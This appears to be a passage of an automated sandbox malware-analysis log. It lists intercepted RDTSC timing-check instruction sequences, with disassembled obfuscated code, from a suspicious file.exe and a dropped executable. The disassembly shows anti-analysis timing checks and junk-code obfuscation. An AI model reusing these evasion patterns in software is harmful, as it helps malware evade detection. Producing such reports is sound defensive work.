Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91694C second address: 916951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916951 second address: 916957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916957 second address: 91695D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91695D second address: 916961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916B15 second address: 916B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917A85 second address: 917A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917A89 second address: 917A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A505 second address: 91A523 instructions: 0x00000000 rdtsc 0x00000002 je 00007F00CD21E186h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d ja 00007F00CD21E186h 0x00000013 pop edi 0x00000014 pop esi 0x00000015 jnc 00007F00CD21E194h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92BB44 second address: 92BB5D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F00CCD814AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D21B second address: 92D225 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927661 second address: 927665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927665 second address: 927675 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 927675 second address: 927689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EAD6 second address: 94EADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EADB second address: 94EAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EAE1 second address: 94EAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EF29 second address: 94EF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EF2F second address: 94EF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EF33 second address: 94EF5C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F00CCD814B7h 0x0000000c jng 00007F00CCD814A6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94EF5C second address: 94EF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F554 second address: 94F583 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814AAh 0x00000007 jmp 00007F00CCD814B7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F00CCD814A6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F583 second address: 94F587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F587 second address: 94F596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F596 second address: 94F59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94F861 second address: 94F865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9525E5 second address: 9525E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952892 second address: 9528A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95594B second address: 95594F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9574AF second address: 9574DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F00CCD814B5h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 ja 00007F00CCD814A6h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9574DA second address: 9574E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE02FA second address: 4FE02FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0371 second address: 4FE0375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0375 second address: 4FE037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE037B second address: 4FE03C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E18Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F00CD21E196h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F00CD21E197h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE03C0 second address: 4FE03F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F00CCD814AFh 0x00000009 sbb ecx, 64F693BEh 0x0000000f jmp 00007F00CCD814B9h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE03F5 second address: 4FE0431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 pushad 0x00000009 movzx esi, di 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F00CD21E195h 0x00000014 and esi, 3222B0A6h 0x0000001a jmp 00007F00CD21E191h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C5AE second address: 86C5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C5B2 second address: 86C5C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E18Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C5C0 second address: 86C5D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CCD814B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C8F0 second address: 86C8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C8F4 second address: 86C8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F00CCD814A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE046C second address: 4FE0471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0471 second address: 4FE04A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, bx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F00CCD814B6h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov ecx, 4B1F67DDh 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE04A2 second address: 4FE04A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE04A6 second address: 4FE04AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE04AA second address: 4FE04B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0509 second address: 4FE050F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE05A4 second address: 4FE0675 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushfd 0x00000008 jmp 00007F00CD21E18Ah 0x0000000d or si, 3ED8h 0x00000012 jmp 00007F00CD21E18Bh 0x00000017 popfd 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c mov esi, edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F00CD21E192h 0x00000025 sub esi, 3C360938h 0x0000002b jmp 00007F00CD21E18Bh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F00CD21E198h 0x00000037 jmp 00007F00CD21E195h 0x0000003c popfd 0x0000003d popad 0x0000003e mov al, byte ptr [edx] 0x00000040 pushad 0x00000041 mov cl, 48h 0x00000043 pushfd 0x00000044 jmp 00007F00CD21E199h 0x00000049 sbb cl, FFFFFFE6h 0x0000004c jmp 00007F00CD21E191h 0x00000051 popfd 0x00000052 popad 0x00000053 inc edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F00CD21E198h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0675 second address: 4FE0684 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0684 second address: 4FE0675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F00CD21E18Ch 0x00000012 jne 00007F00CD21E106h 0x00000018 mov al, byte ptr [edx] 0x0000001a pushad 0x0000001b mov cl, 48h 0x0000001d pushfd 0x0000001e jmp 00007F00CD21E199h 0x00000023 sbb cl, FFFFFFE6h 0x00000026 jmp 00007F00CD21E191h 0x0000002b popfd 0x0000002c popad 0x0000002d inc edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F00CD21E198h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE06F3 second address: 4FE074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov edi, dword ptr [ebp+08h] 0x00000009 jmp 00007F00CCD814B5h 0x0000000e dec edi 0x0000000f jmp 00007F00CCD814AEh 0x00000014 lea ebx, dword ptr [edi+01h] 0x00000017 jmp 00007F00CCD814B0h 0x0000001c mov al, byte ptr [edi+01h] 0x0000001f jmp 00007F00CCD814B0h 0x00000024 inc edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE074D second address: 4FE0751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0751 second address: 4FE0755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0755 second address: 4FE075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE075B second address: 4FE07C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F00CCD814B1h 0x00000009 and ax, 4EE6h 0x0000000e jmp 00007F00CCD814B1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test al, al 0x00000019 pushad 0x0000001a jmp 00007F00CCD814B3h 0x0000001f popad 0x00000020 jne 00007F013DFC9784h 0x00000026 jmp 00007F00CCD814B6h 0x0000002b mov ecx, edx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov ecx, 0B3FBB83h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE07C7 second address: 4FE0801 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F00CD21E198h 0x00000008 xor ah, 00000048h 0x0000000b jmp 00007F00CD21E18Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ax, E6BFh 0x00000017 popad 0x00000018 shr ecx, 02h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov dx, si 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0801 second address: 4FE0833 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 331B54C1h 0x0000000e popad 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 jmp 00007F00CCD814ACh 0x0000001e mov ecx, edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F00CCD814AAh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0833 second address: 4FE0837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0837 second address: 4FE083D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE083D second address: 4FE0889 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 7F23h 0x00000007 pushfd 0x00000008 jmp 00007F00CD21E198h 0x0000000d sub esi, 04A9D668h 0x00000013 jmp 00007F00CD21E18Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c and ecx, 03h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F00CD21E190h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0889 second address: 4FE0898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0898 second address: 4FE08AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, 1AC3D3F8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rep movsb 0x0000000f pushad 0x00000010 mov bl, 2Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE08AE second address: 4FE0911 instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 mov edi, ecx 0x00000015 popad 0x00000016 mov esi, 3ED80C17h 0x0000001b popad 0x0000001c mov eax, ebx 0x0000001e jmp 00007F00CCD814AAh 0x00000023 mov ecx, dword ptr [ebp-10h] 0x00000026 jmp 00007F00CCD814B0h 0x0000002b mov dword ptr fs:[00000000h], ecx 0x00000032 pushad 0x00000033 mov dl, ch 0x00000035 movsx edi, cx 0x00000038 popad 0x00000039 pop ecx 0x0000003a jmp 00007F00CCD814B2h 0x0000003f pop edi 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0911 second address: 4FE0915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0915 second address: 4FE0932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0932 second address: 4FE0964 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 call 00007F00CD21E193h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F00CD21E191h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0964 second address: 4FE0979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0979 second address: 4FE0A06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b call 00007F00CD21E18Ch 0x00000010 pushfd 0x00000011 jmp 00007F00CD21E192h 0x00000016 jmp 00007F00CD21E195h 0x0000001b popfd 0x0000001c pop eax 0x0000001d pushfd 0x0000001e jmp 00007F00CD21E191h 0x00000023 add cx, 64E6h 0x00000028 jmp 00007F00CD21E191h 0x0000002d popfd 0x0000002e popad 0x0000002f leave 0x00000030 pushad 0x00000031 movzx ecx, di 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F00CD21E18Fh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0A06 second address: 4FE0509 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 retn 0008h 0x0000000a cmp dword ptr [ebp-2Ch], 10h 0x0000000e mov eax, dword ptr [ebp-40h] 0x00000011 jnc 00007F00CCD814A5h 0x00000013 push eax 0x00000014 lea edx, dword ptr [ebp-00000590h] 0x0000001a push edx 0x0000001b call esi 0x0000001d push 00000008h 0x0000001f jmp 00007F00CCD814B0h 0x00000024 push 123AA9CDh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F00CCD814ACh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0B52 second address: 4FE0B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0B57 second address: 4FE0B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0B74 second address: 4FE0B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0B78 second address: 4FE0B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0B7E second address: 4FE0B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE0B84 second address: 4FE0B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: F9F18F second address: F9F195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: F9F195 second address: F9F19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA23E1 second address: FA23E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA23E5 second address: FA23E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA23E9 second address: FA2408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F00CD21E194h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA2408 second address: FA241D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F00CCD814A6h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA241D second address: FA2422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA2422 second address: FA245D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F00CCD814A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007F00CCD814AAh 0x00000014 jmp 00007F00CCD814B3h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e ja 00007F00CCD814B0h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
